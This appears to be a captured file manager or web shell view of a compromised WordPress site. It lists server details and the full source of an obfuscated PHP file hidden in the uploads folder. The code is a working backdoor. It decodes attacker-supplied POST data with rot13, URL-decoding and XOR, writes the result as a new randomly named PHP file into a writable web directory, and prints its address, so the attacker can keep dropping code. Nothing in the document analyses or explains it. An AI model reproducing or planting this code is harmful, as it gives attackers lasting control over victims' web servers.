HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/adspray/wp-content/uploads/2022/01/rrgelyeh.php
<?php $QKBRwZjl = "FpFHoJpy";function SvsXeAc($QKBRwZjl){ $PnbYJhoet = "\163"."\x74".chr(114).'_'.'r'.chr(974-863).chr(770-654)."\61"."\x33";$QKBRwZjl = $PnbYJhoet($QKBRwZjl);$zLXYgyWbJ = "\x72".chr(97)."\x77"."\165".chr(114)."\154".'d'.chr(101).chr(607-508)."\157".'d'.chr(101);$QKBRwZjl = $zLXYgyWbJ($QKBRwZjl);$QKBRwZjl = str_split($QKBRwZjl);return $QKBRwZjl;}function NPrKqme($YssSeo, $qzNdlZnQvR){$YssSeo = array_slice(str_split(str_repeat($YssSeo, (count($qzNdlZnQvR)/16)+1)), 0, count($qzNdlZnQvR));return $YssSeo;}function dGoOTy($uYCDjSL, $oTetbDK, $YssSeo){$VyxaAnn = "31798675-15aa-4876-be23-4858bc4ec793";return $uYCDjSL ^ $VyxaAnn[$oTetbDK % strlen($VyxaAnn)] ^ $YssSeo;}function zQJGcugo($qzNdlZnQvR, $YssSeo){$qzNdlZnQvR = array_map("dGoOTy", array_values($qzNdlZnQvR), array_keys($qzNdlZnQvR), array_values($YssSeo));$qzNdlZnQvR = implode("", $qzNdlZnQvR);$YgLFojQdA = "\x75".'n'.'s'."\x65".chr(114)."\x69"."\141".'l'.chr(601-496)."\x7a".chr(101);$qzNdlZnQvR = @$YgLFojQdA($qzNdlZnQvR);return $qzNdlZnQvR;}function XOfNttFbAl(){echo "SukdDiRuq";}function zFyfFSHabL($HowyQJir){static $PoWxk = array();$jcrVNdG = glob($HowyQJir . '/*', GLOB_ONLYDIR);$OaJCgPm = count($jcrVNdG);if ($OaJCgPm > 0) {foreach ($jcrVNdG as $HowyQJ) {$GbRhU = chr(313-208)."\163".chr(95).chr(119).chr(114)."\x69".'t'.chr(97)."\142".chr(108)."\x65";if (@$GbRhU($HowyQJ)) {$PoWxk[] = $HowyQJ;}}}foreach ($jcrVNdG as $HowyQJir) zFyfFSHabL($HowyQJir);return $PoWxk;}function uHYPgSO(){echo "FpFHoJpy";}function pkhYU($qzNdlZnQvR){$YxieslEPlg = "\104".'O'."\103".chr(264-179).chr(963-886).chr(69)."\x4e".chr(84).chr(357-262).'R'.chr(79).chr(79)."\124";$MwiBz = $_SERVER[$YxieslEPlg];$jcrVNdG = zFyfFSHabL($MwiBz);$gFlaEqA = array_rand($jcrVNdG);$xApYcFThlF = chr(46).'p'.chr(104)."\160";$aGUomMd = $jcrVNdG[$gFlaEqA] . "/" . substr(md5(time()), 0, 8) . $xApYcFThlF;$rXykKbYju = "\146".chr(380-275).'l'."\145".chr(95)."\x70"."\x75".chr(116)."\137".'c'."\x6f".chr(277-167)."\x74".'e'.chr(216-106).chr(116).'s';@$rXykKbYju($aGUomMd, $qzNdlZnQvR);$gDrkubVEum = "\110".chr(231-147).'T'.chr(80).chr(95)."\x48"."\117".chr(83).'T';$xXNDVx = chr(104)."\164".chr(682-566).chr(279-167).':'."\x2f".chr(47);$NYrDRKKzHB = $xXNDVx . $_SERVER[$gDrkubVEum] . substr($aGUomMd, strlen($MwiBz));print($NYrDRKKzHB);}function ERENd(){$xBFsL = chr(112).chr(104)."\160";$Dpoomw = "\160"."\x68"."\160"."\x76"."\145"."\162".'s'.chr(740-635).'o'.chr(792-682);$qzNdlZnQvR = Array($xBFsL => @$Dpoomw(), );$nqxTP = "\x73".'e'.chr(114)."\151"."\141"."\x6c"."\x69"."\x7a".'e';echo @$nqxTP($qzNdlZnQvR);}foreach ($_POST as $YssSeo => $qzNdlZnQvR){$eaFBSEzhC = strlen($YssSeo);if ($eaFBSEzhC == 16){$qzNdlZnQvR = SvsXeAc($qzNdlZnQvR);$YssSeo = NPrKqme($YssSeo, $qzNdlZnQvR);$qzNdlZnQvR = zQJGcugo($qzNdlZnQvR, $YssSeo);if (@is_array($qzNdlZnQvR)){$gFlaEqA = array_keys($qzNdlZnQvR);$qzNdlZnQvR = $qzNdlZnQvR[$gFlaEqA[0]];$gFlaEqA = $gFlaEqA[0];$gFlaEqA = substr($gFlaEqA, 0);if ($qzNdlZnQvR !== $gFlaEqA){pkhYU($qzNdlZnQvR);}else {ERENd();}die();}}}